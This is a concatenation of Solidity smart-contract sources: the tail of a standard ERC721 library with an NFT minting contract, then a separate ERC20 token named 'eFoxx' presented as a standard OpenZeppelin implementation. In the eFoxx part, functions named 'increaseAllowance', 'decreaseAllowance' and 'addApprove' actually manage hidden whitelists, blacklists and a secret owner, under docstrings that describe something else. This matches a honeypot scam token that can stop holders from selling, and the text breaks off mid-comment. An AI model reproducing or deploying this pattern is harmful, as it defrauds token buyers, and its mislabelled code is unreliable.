* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @title LST
* LST - Smart contract for LST BreadHeads project
*/
contract LST is ERC721, Ownable {
address openseaProxyAddress;
string public contract_ipfs_json;
string public contract_base_uri;
string private baseURI;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bool public is_collection_revealed = false;
uint256 MAX_NFTS = 10000;
uint256 minting_price = 0.035 ether;
uint256 minting_price_presale = 0.03 ether;
bool whitelist_active = true;
bool collection_locked = false;
string public notrevealed_nft;
IERC721 private OG;
constructor(
address _openseaProxyAddress,
string memory _name,
string memory _ticker,
string memory _contract_ipfs
) ERC721(_name, _ticker) {
openseaProxyAddress = _openseaProxyAddress;
contract_ipfs_json = _contract_ipfs;
contract_base_uri = "https://ipfs.io/ipfs/RevealedCollection/";
notrevealed_nft = "https://ipfs.io/ipfs/QmYqo7QERmfKVytPfKaVdES9qUC4FKVAeSNKZLPbifAkSr";
}
function _baseURI() internal override view returns (string memory) {
return contract_base_uri;
}
function tokenURI(uint256 _tokenId)
public
view
override(ERC721)
returns (string memory)
{
if(is_collection_revealed == true){
string memory _tknId = Strings.toString(_tokenId);
return string(abi.encodePacked(contract_base_uri, _tknId, ".json"));
} else {
return notrevealed_nft;
}
}
function contractURI() public view returns (string memory) {
return contract_ipfs_json;
}
function getOGBalance(address _address) public view returns (uint256) {
uint256 balance = OG.balanceOf(_address);
return balance;
}
function maxPresaleMint(address _address) public view returns (uint256) {
uint256 balance = OG.balanceOf(_address);
uint256 max_mint = balance * 2;
return max_mint;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalNFTs = totalSupply();
uint256 resultIndex = 0;
uint256 nftId;
for (nftId = 1; nftId <= totalNFTs; nftId++) {
if (ownerOf(nftId) == _owner) {
result[resultIndex] = nftId;
resultIndex++;
}
}
return result;
}
}
/*
This method will first mint the token to the address.
*/
function mintNFT() public payable {
bool canMint = false;
uint256 price = minting_price;
uint256 max_mint = 10000;
if(whitelist_active){
price = minting_price_presale;
uint256 balance = OG.balanceOf(msg.sender);
if(balance > 0){
max_mint = 2 * balance;
canMint = true;
}
}else{
canMint = true;
}
require(canMint, "LST: You can't mint because don't match requirements");
require(msg.value % price == 0, 'LST: Amount should be a multiple of minting cost');
uint256 amount = msg.value / price;
require(amount >= 1, 'LST: Amount should be at least 1');
require(amount <= 5, 'LST: Amount must be less or equal to 5');
uint256 reached = amount + _tokenIdCounter.current();
require(reached <= MAX_NFTS, "LST: Hard cap reached.");
uint256 purchases = balanceOf(msg.sender) + amount;
require(purchases <= max_mint, 'LST: Cannot purchase more than 2 per OG nft');
uint j = 0;
for (j = 0; j < amount; j++) {
_tokenIdCounter.increment();
uint256 newTokenId = _tokenIdCounter.current();
_mint(msg.sender, newTokenId);
}
}
function totalSupply() public view returns (uint256) {
return _tokenIdCounter.current();
}
/*
This method will allow owner to fix the contract details
*/
function fixContractDescription(string memory newDescription) public onlyOwner {
contract_ipfs_json = newDescription;
}
/*
This method will allow owner to fix the unrevealed nft
*/
function fixNotRevealedNft(string memory newNFT) public onlyOwner {
notrevealed_nft = newNFT;
}
/*
This method will allow owner to fix the minting price
*/
function fixPrice(uint256 price) public onlyOwner {
minting_price = price;
}
/*
This method will allow owner to fix the contract baseURI
*/
function fixBaseURI(string memory newURI) public onlyOwner {
require(!collection_locked, "LST: Collection is locked.");
contract_base_uri = newURI;
}
/*
This method will allow owner reveal the collection
*/
function revealCollection() public onlyOwner {
is_collection_revealed = true;
}
/*
This method will allow to select the gate
*/
function selectGate(address _og_address) public onlyOwner {
OG = IERC721(_og_address);
}
/*
This method will allow owner to lock the collection
*/
function lockCollection() public onlyOwner {
collection_locked = true;
}
/*
This method will allow owner to fix the whitelist role
*/
function fixWhitelist(bool state) public onlyOwner {
whitelist_active = state;
}
/*
This method will allow owner to mint tokens
*/
function ownerMint() public onlyOwner {
_tokenIdCounter.increment();
uint256 newTokenId = _tokenIdCounter.current();
_mint(msg.sender, newTokenId);
}
/*
This method will allow owner to get the balance of the smart contract
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
/*
This method will allow owner tow withdraw all ethers
*/
function withdrawEther() public onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, 'LST: Nothing to withdraw!');
payable(msg.sender).transfer(balance);
}
/**
* Override isApprovedForAll to whitelist proxy accounts
*/
function isApprovedForAll(address _owner, address _operator)
public
override
view
returns (bool isOperator)
{
// Opensea address
if (
_operator == address(openseaProxyAddress)
) {
return true;
}
return super.isApprovedForAll(_owner, _operator);
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
pragma solidity ^0.6.6;
/**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract eFoxx is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
